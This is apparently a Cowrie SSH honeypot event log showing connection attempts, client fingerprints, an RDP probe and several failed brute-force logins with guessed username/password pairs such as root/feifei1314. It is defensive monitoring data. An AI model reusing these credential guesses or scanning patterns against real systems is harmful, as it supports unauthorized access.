{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44278,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a2f8c3b8b4d","protocol":"ssh","message":"New connection: 122.168.114.167:44278 (159.203.135.109:22) [session: 2a2f8c3b8b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:45.647227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":51785,"dst_ip":"159.203.135.109","dst_port":22,"session":"5be8fe0867e6","protocol":"ssh","message":"New connection: 103.149.252.223:51785 (159.203.135.109:22) [session: 5be8fe0867e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:45.943177Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:45.947308Z","src_ip":"103.149.252.223","session":"5be8fe0867e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:45.950502Z","src_ip":"103.149.252.223","session":"5be8fe0867e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37870,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ca6518173e5","protocol":"ssh","message":"New connection: 159.203.92.129:37870 (159.203.135.109:22) [session: 6ca6518173e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:46.984017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:46.988538Z","src_ip":"159.203.92.129","session":"6ca6518173e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:46.992032Z","src_ip":"159.203.92.129","session":"6ca6518173e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appadmin","password":"appadmin","message":"login attempt [appadmin/appadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:47.005307Z","src_ip":"159.203.92.129","session":"6ca6518173e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:48.010699Z","src_ip":"159.203.92.129","session":"6ca6518173e5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:52.717224Z","src_ip":"122.168.114.167","session":"2a2f8c3b8b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:52.722846Z","src_ip":"122.168.114.167","session":"2a2f8c3b8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"46.5","message":"Connection lost after 46.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:53.370024Z","src_ip":"122.168.114.167","session":"726e6357ffee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":5904,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e079a18825","protocol":"ssh","message":"New connection: 182.253.79.194:5904 (10.17.0.5:22) [session: 47e079a18825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:12.103785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:12.108478Z","src_ip":"182.253.79.194","session":"47e079a18825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:12.375301Z","src_ip":"182.253.79.194","session":"47e079a18825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"feifei1314","message":"login attempt [root/feifei1314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:13.470212Z","src_ip":"182.253.79.194","session":"47e079a18825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:14.737517Z","src_ip":"182.253.79.194","session":"47e079a18825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:21.230536Z","src_ip":"122.168.114.167","session":"2a2f8c3b8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.5","message":"Connection lost after 41.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:27.177276Z","src_ip":"122.168.114.167","session":"2a2f8c3b8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d68f1fb6667","protocol":"ssh","message":"New connection: 122.168.114.167:46680 (159.203.135.109:22) [session: 6d68f1fb6667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:30.387685Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48294,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8af48b7637","protocol":"ssh","message":"New connection: 159.203.92.129:48294 (159.203.135.109:22) [session: bb8af48b7637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:30.687878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:30.692525Z","src_ip":"159.203.92.129","session":"bb8af48b7637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:30.696495Z","src_ip":"159.203.92.129","session":"bb8af48b7637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appfile2","password":"123456","message":"login attempt [appfile2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:30.706970Z","src_ip":"159.203.92.129","session":"bb8af48b7637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:31.728001Z","src_ip":"159.203.92.129","session":"bb8af48b7637","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:36.724388Z","src_ip":"122.168.114.167","session":"6d68f1fb6667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:07:36.728052Z","src_ip":"122.168.114.167","session":"6d68f1fb6667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:00.834742Z","src_ip":"122.168.114.167","session":"6d68f1fb6667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.6","message":"Connection lost after 37.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:07.944964Z","src_ip":"122.168.114.167","session":"6d68f1fb6667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49090,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2fa7bf461e6","protocol":"ssh","message":"New connection: 122.168.114.167:49090 (159.203.135.109:22) [session: d2fa7bf461e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:08.894980Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":52181,"dst_ip":"10.17.0.5","dst_port":22,"session":"56952569c63a","protocol":"ssh","message":"New connection: 182.253.79.194:52181 (10.17.0.5:22) [session: 56952569c63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:13.939602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:13.945157Z","src_ip":"182.253.79.194","session":"56952569c63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:14.208262Z","src_ip":"182.253.79.194","session":"56952569c63a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:15.049978Z","src_ip":"122.168.114.167","session":"d2fa7bf461e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:15.054931Z","src_ip":"122.168.114.167","session":"d2fa7bf461e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwer","message":"login attempt [root/1234@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:15.286372Z","src_ip":"182.253.79.194","session":"56952569c63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50742,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb20786ea35","protocol":"ssh","message":"New connection: 159.203.92.129:50742 (159.203.135.109:22) [session: 9eb20786ea35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:16.314950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:16.319553Z","src_ip":"159.203.92.129","session":"9eb20786ea35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:08:16.324084Z","src_ip":"159.203.92.129","session":"9eb20786ea35","protocol":"ssh"}
